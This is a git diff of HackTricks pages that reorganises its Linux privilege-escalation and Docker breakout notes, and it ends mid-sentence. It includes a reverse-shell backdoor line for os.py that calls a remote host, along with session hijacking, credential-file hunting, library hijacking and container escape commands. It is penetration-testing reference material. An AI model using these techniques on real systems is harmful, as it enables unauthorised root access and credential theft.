`include /etc/ld.so.conf.d/*.conf` @@ -1095,7 +1094,7 @@ Take a look about **how to exploit this misconfiguration** in the following page [ld.so.conf-example.md](ld.so.conf-example.md) {% endcontent-ref %} -# RPATH +## RPATH ``` level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" @@ -1134,7 +1133,7 @@ int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp } ``` -# Capabilities +## Capabilities Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.\ Read the following page to **learn more about capabilities and how to abuse them**: @@ -1143,12 +1142,12 @@ Read the following page to **learn more about capabilities and how to abuse them [linux-capabilities.md](linux-capabilities.md) {% endcontent-ref %} -# Directory permissions +## Directory permissions In a directory the **bit for execute** implies that the user affected can "**cd**" into the folder.\ The **read** bit implies the user can **list** the **files**, and the **write** bit implies the user can **delete** and **create** new **files**. -# ACLs +## ACLs ACLs are a second level of discretionary permissions, that **may override the standard ugo/rwx** ones. When used correctly they can grant you a **better granularity in setting access to a file or a directory**, for example by giving or denying access to a specific user that is neither the file owner, nor in the group owner (from [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)).\ **Give** user "kali" read and write permissions over a file: @@ -1166,12 +1165,12 @@ setfacl -b file.txt #Remove the ACL of the file getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -# Open shell sessions +## Open shell sessions In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside of the session**. -# screen sessions hijacking +## screen sessions hijacking **List screen sessions** @@ -1188,7 +1187,7 @@ screen -dr #The -d is to detacche whoever is attached to it screen -dr 3350.foo #In the example of the image ``` -# tmux sessions hijacking +## tmux sessions hijacking Apparently this was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root from a non-privileged user. @@ -1212,20 +1211,20 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket Check **valentine box from HTB** for an example. -# SSH +## SSH -# Debian OpenSSL Predictable PRNG - CVE-2008-0166 +## Debian OpenSSL Predictable PRNG - CVE-2008-0166 All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ This bug caused that when creating in those OS a new ssh key **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -# SSH Interesting configuration values +## SSH Interesting configuration values * **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. * **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. * **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. -## PermitRootLogin +### PermitRootLogin Specifies whether root can log in using ssh, default is `no`. Possible values: @@ -1234,7 +1233,7 @@ Specifies whether root can log in using ssh, default is `no`. Possible values: * `forced-commands-only`: Root can login only using privatekey cand if the commands options is specified * `no` : no -## AuthorizedKeysFile +### AuthorizedKeysFile Specifies files that contains the public keys that can be used for user authentication. I can contains tokens like `%h` , that will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the users home**. For example: @@ -1244,7 +1243,7 @@ AuthorizedKeysFile .ssh/authorized_keys access That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` -## ForwardAgent/AllowAgentForwarding +### ForwardAgent/AllowAgentForwarding SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. @@ -1262,9 +1261,9 @@ The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding wit If you Forward Agent configured in an environment \[**check here how to exploit it to escalate privileges**]\(ssh-forward-agent-exploitation.md). -# Interesting Files +## Interesting Files -# Profiles files +## Profiles files The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user run a new shell**. Therefore, if you can **write or modify any of the you can escalate privileges**. @@ -1274,7 +1273,7 @@ ls -l /etc/profile /etc/profile.d/ If any weird profile script is found you should check it for **sensitive details**. -# Passwd/Shadow Files +## Passwd/Shadow Files Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of hem** and **check if you can read** them and **check if there are hashes** inside the files: @@ -1291,7 +1290,7 @@ In some occasions you can find **password hashes** inside the `/etc/passwd` (or grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -## Writable /etc/passwd +### Writable /etc/passwd First generate a password with one of the following commands. @@ -1338,7 +1337,7 @@ Group=root Your backdoor will be executed the next time that tomcat is started. -# Check Folders +## Check Folders The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) @@ -1346,7 +1345,7 @@ The following folders may contain backups or interesting information: **/tmp**, ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -# Weird Location/Owned files +## Weird Location/Owned files ```bash #root owned files in /home folders @@ -1365,38 +1364,38 @@ for g in `groups`; done ``` -# Modified files in last mins +## Modified files in last mins ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -# Sqlite DB files +## Sqlite DB files ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -# \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files +## \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files ```bash fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files ``` -# Hidden files +## Hidden files ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -# **Script/Binaries in PATH** +## **Script/Binaries in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done ``` -# **Web files** +## **Web files** ```bash ls -alhR /var/www/ 2>/dev/null @@ -1405,18 +1404,18 @@ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -# **Backups** +## **Backups** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll ``` -# Known files containing passwords +## Known files containing passwords Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ **Other interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. -# Logs +## Logs If you can read logs, you may be able to find **interesting/confidential information inside of them**. The more strange the log is, the more interesting will be (probably).\ Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). @@ -1428,7 +1427,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. -# Shell files +## Shell files ```bash ~/.bash_profile # if it exists, read once when you log in to the shell @@ -1441,14 +1440,14 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zshrc #zsh shell ``` -# Generic Creds Search/Regex +## Generic Creds Search/Regex You should also check for files containing the word "**password**" in it's **name** or inside the **content**, also check for IPs and emails inside logs, or hashes regexps.\ I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. -# Writable files +## Writable files -# Python library hijacking +## Python library hijacking If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). @@ -1458,7 +1457,7 @@ To **backdoor the library** just add at the end of the os.py library the followi import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -# Logrotate exploitation +## Logrotate exploitation There is a vulnerability on `logrotate`that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate`write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.\ So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** (on most linux distributions, logrotate is executed automatically once a day as **user root**). Also, check if apart of _/var/log_ there are more files being **rotated**. @@ -1473,7 +1472,7 @@ You can exploit this vulnerability with [**logrotten**](https://github.com/whotw This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. -# /etc/sysconfig/network-scripts/ (Centos/Redhat) +## /etc/sysconfig/network-scripts/ (Centos/Redhat) If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. @@ -1493,7 +1492,7 @@ DEVICE=eth0 **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) -# **init, init.d, systemd, and rc.d** +## **init, init.d, systemd, and rc.d** `/etc/init.d` contains **scripts** used by the System V init tools (SysVinit). This is the **traditional service management package for Linux**, containing the `init` program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in `/etc/init.d` are shell scripts that respond to `start`, `stop`, `restart`, and (when supported) `reload` commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in `/etc/rc?.d/`). (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d#:\~:text=%2Fetc%2Finit%20contains%20configuration%20files,the%20status%20of%20a%20service.))\ Other alternative to this folder is `/etc/rc.d/init.d` in Redhat @@ -1503,38 +1502,38 @@ Other alternative to this folder is `/etc/rc.d/init.d` in Redhat **systemd** is a **Linux initialization system and service manager that includes features like on-demand starting of daemons**, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From [here](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/#:\~:text=The%20%2Frun%2Fsystemd%2Fsystem,anywhere%20else%20in%20the%20system.))\ Files that ships in packages downloaded from distribution repository go into `/usr/lib/systemd/`. Modifications done by system administrator (user) go into `/etc/systemd/system/`. -# Other Tricks +## Other Tricks -# NFS Privilege escalation +## NFS Privilege escalation {% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} [nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md) {% endcontent-ref %} -# Escaping from restricted Shells +## Escaping from restricted Shells {% content-ref url="escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](escaping-from-limited-bash.md) {% endcontent-ref %} -# Cisco - vmanage +## Cisco - vmanage {% content-ref url="cisco-vmanage.md" %} [cisco-vmanage.md](cisco-vmanage.md) {% endcontent-ref %} -# Kernel Security Protections +## Kernel Security Protections * [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) * [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -# More help +## More help [Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries) -# Linux/Unix Privesc Tools +## Linux/Unix Privesc Tools -# **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +## **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1547,7 +1546,7 @@ Files that ships in packages downloaded from distribution repository go into `/u **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -# References +## References [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\ [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\ @@ -1559,7 +1558,6 @@ Files that ships in packages downloaded from distribution repository go into `/u [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\ [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) -
Support HackTricks and get benefits! @@ -1575,5 +1573,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/linux-unix/privilege-escalation/cisco-vmanage.md b/linux-hardening/privilege-escalation/cisco-vmanage.md similarity index 100% rename from linux-unix/privilege-escalation/cisco-vmanage.md rename to linux-hardening/privilege-escalation/cisco-vmanage.md diff --git a/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md b/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md similarity index 93% rename from linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md rename to linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 8b77d42f..58eaee3a 100644 --- a/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,4 +1,4 @@ - +# Containerd (ctr) Privilege Escalation
@@ -16,16 +16,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic information +## Basic information Go to the following link to learn **what is containerd** and `ctr`: -{% content-ref url="../../pentesting/2375-pentesting-docker.md" %} -[2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md) +{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} +[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md) {% endcontent-ref %} -# PE 1 +## PE 1 if you find that a host contains the `ctr` command: @@ -49,7 +48,7 @@ And then **run one of those images mounting the host root folder to it**: ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` -# PE 2 +## PE 2 Run a container privileged and escape from it.\ You can run a privileged container as: @@ -64,7 +63,6 @@ Then you can use some of the techniques mentioned in the following page to **esc [docker-breakout](docker-breakout/) {% endcontent-ref %} -
Support HackTricks and get benefits! @@ -80,5 +78,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md similarity index 100% rename from linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md rename to linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md diff --git a/linux-unix/privilege-escalation/docker-breakout/README.md b/linux-hardening/privilege-escalation/docker-breakout/README.md similarity index 96% rename from linux-unix/privilege-escalation/docker-breakout/README.md rename to linux-hardening/privilege-escalation/docker-breakout/README.md index ff06ae7f..4ea3bdf3 100644 --- a/linux-unix/privilege-escalation/docker-breakout/README.md +++ b/linux-hardening/privilege-escalation/docker-breakout/README.md @@ -1,4 +1,4 @@ - +# Docker Basics & Breakout
@@ -16,17 +16,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Basic Docker Engine Security** +## **Basic Docker Engine Security** Docker engine does the heavy lifting of running and managing Containers. Docker engine uses Linux kernel features like **Namespaces** and **Cgroups** to provide basic **isolation** across Containers. Advanced isolation can be achieved using Linux kernel features like **Capabilities**, **Seccomp**, **SELinux/AppArmor**. Docker exposes these Linux kernel capabilities either at Docker daemon level or at each Container level. -Finally, an **auth plugin** can be used to **limit the actions** users can perform.\ - +Finally, an **auth plugin** can be used to **limit the actions** users can perform.\\ ![](<../../../.gitbook/assets/image (625) (1) (1).png>) -## **Docker engine secure access** +### **Docker engine secure access** Docker client can access Docker engine **locally using Unix socket or remotely using http** mechanism. To use it remotely, it is needed to use https and **TLS** so that confidentiality, integrity and authentication can be ensured. @@ -41,7 +39,7 @@ Sudo service docker restart -> Restart Docker daemon Exposing Docker daemon using http is not a good practice and it is needed to secure the connection using https. There are two options: first option is for **client to verify server identity** and in second option **both client and server verify each other’s identity**. Certificates establish the identity of a server. For an example of both options [**check this page**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). -## **Container image security** +### **Container image security** Container images are stored either in private repository or public repository. Following are the options that Docker provides for storing Container images: @@ -49,13 +47,13 @@ Container images are stored either in private repository or public repository. F * [Docker registry](https://github.com/%20docker/distribution) – This is an open source project that users can use to host their own registry. * [Docker trusted registry](https://www.docker.com/docker-trusted-registry) – This is Docker’s commercial implementation of Docker registry and it provides role based user authentication along with LDAP directory service integration. -## Image Scanning +### Image Scanning Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. For more [**information read this**](https://docs.docker.com/engine/scan/). -### How to scan images +#### How to scan images The `docker scan` command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: @@ -75,7 +73,7 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` -## Docker Image Signing +### Docker Image Signing Docker Container images can be stored either in public or private registry. It is needed to **sign** **Container** images to be able to confirm images haven't being tampered. Content **publisher** takes care of **signing** Container image and pushing it into the registry.\ Following are some details on Docker content trust: @@ -115,9 +113,9 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private When I changed Docker host, I had to move the root keys and repository keys to operate from the new host. -# Containers Security Improvements +## Containers Security Improvements -## Namespaces +### Namespaces **Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. @@ -135,7 +133,7 @@ For **more information about the namespaces** check the following page: [namespaces.md](namespaces.md) {% endcontent-ref %} -## cgroups +### cgroups Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. @@ -152,7 +150,7 @@ ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` -## Capabilities +### Capabilities Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. @@ -160,7 +158,7 @@ Capabilities allow **finer control for the capabilities that can be allowed** fo [linux-capabilities.md](../linux-capabilities.md) {% endcontent-ref %} -## Seccomp in Docker +### Seccomp in Docker This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: @@ -168,7 +166,7 @@ This is a security feature that allows Docker to **limit the syscalls** that can [seccomp.md](seccomp.md) {% endcontent-ref %} -## AppArmor in Docker +### AppArmor in Docker **AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: @@ -176,7 +174,7 @@ This is a security feature that allows Docker to **limit the syscalls** that can [apparmor.md](apparmor.md) {% endcontent-ref %} -## SELinux in Docker +### SELinux in Docker [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. @@ -186,7 +184,7 @@ Container engines launch **container processes with a single confined SELinux la [selinux.md](../selinux.md) {% endcontent-ref %} -## AuthZ & AuthN +### AuthZ & AuthN An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data. @@ -194,9 +192,9 @@ An authorization plugin **approves** or **denies** **requests** to the Docker ** [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -# Interesting Docker Flags +## Interesting Docker Flags -## --privileged flag +### --privileged flag In the following page you can learn **what does the `--privileged` flag imply**: @@ -204,9 +202,9 @@ In the following page you can learn **what does the `--privileged` flag imply**: [docker-privileged.md](docker-privileged.md) {% endcontent-ref %} -## --security-opt +### --security-opt -### no-new-privileges +#### no-new-privileges If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. @@ -216,7 +214,7 @@ Running the container with the **`no-new-privileges`** option enabled will **pre docker run -it --security-opt=no-new-privileges:true nonewpriv ``` -### Other +#### Other ```bash #You can manually add/drop capabilities with @@ -235,9 +233,9 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -# Other Security Considerations +## Other Security Considerations -## Managing Secrets +### Managing Secrets First of all, **do not put them inside your image!** @@ -290,19 +288,19 @@ Then start Compose as usual with `docker-compose up --build my_service`. If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), it has support for secrets. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) can help make secrets management in K8s easier. Additionally, K8s has Role Based Access Controls (RBAC) — as does Docker Enterprise. RBAC makes access Secrets management more manageable and more secure for teams. -## gVisor +### gVisor **gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. {% embed url="https://github.com/google/gvisor" %} -## Kata Containers +### Kata Containers **Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. {% embed url="https://katacontainers.io/" %} -## Summary Tips +### Summary Tips * **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. * Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. @@ -319,15 +317,15 @@ If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration * **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. * Have **smaller** container **images** -# Docker Breakout / Privilege Escalation +## Docker Breakout / Privilege Escalation If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: -{% content-ref url="docker-breakout-privilege-escalation.md" %} -[docker-breakout-privilege-escalation.md](docker-breakout-privilege-escalation.md) +{% content-ref url="docker-breakout-privilege-escalation/" %} +[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) {% endcontent-ref %} -# Docker Authentication Plugin Bypass +## Docker Authentication Plugin Bypass If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** @@ -335,12 +333,12 @@ If you have access to the docker socket or have access to a user in the **docker [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -# Hardening Docker +## Hardening Docker * The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). -# References +## References * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) @@ -352,7 +350,6 @@ If you have access to the docker socket or have access to a user in the **docker * [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces) * [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) -
Support HackTricks and get benefits! @@ -368,5 +365,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md b/linux-hardening/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md similarity index 91% rename from linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md rename to linux-hardening/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md index 587790fd..d044bef8 100644 --- a/linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md @@ -1,4 +1,4 @@ - +# Abusing Docker Socket for Privilege Escalation
@@ -16,10 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: -## Via mount +### Via mount You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ You could also **abuse a mount to escalate privileges** inside the container. @@ -35,7 +34,7 @@ You could also **abuse a mount to escalate privileges** inside the container. * `--userns=host` * `--uts=host` * `--cgroupns=host` -* **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` ** -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` +* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` * Run `fdisk -l` in the host to find the `` device to mount * **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. @@ -47,12 +46,12 @@ Note that maybe you cannot mount the folder `/tmp` but you can mount a **differe Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) {% endhint %} -## Escaping from the container +### Escaping from the container -* **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation.md#automatic-enumeration-and-escape). +* **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). * **`--cap-add= [--security-opt 